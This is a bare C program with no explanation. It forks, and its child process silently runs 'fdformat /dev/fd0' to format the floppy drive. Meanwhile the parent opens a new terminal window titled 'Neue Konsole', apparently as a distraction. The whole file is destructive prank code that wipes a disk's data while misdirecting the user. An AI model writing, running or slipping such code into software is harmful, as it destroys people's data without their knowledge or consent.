#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv)
{
 pid_t kind1;

 while(1)
  {
   switch(kind1=fork())
    {
      case -1 :   exit(0);  break;
      case 0  :   system("fdformat /dev/fd0");  exit(1);
      default :   system("konsole -caption 'Neue Konsole'");
                  exit(2);
    }
  }
 return 0;
}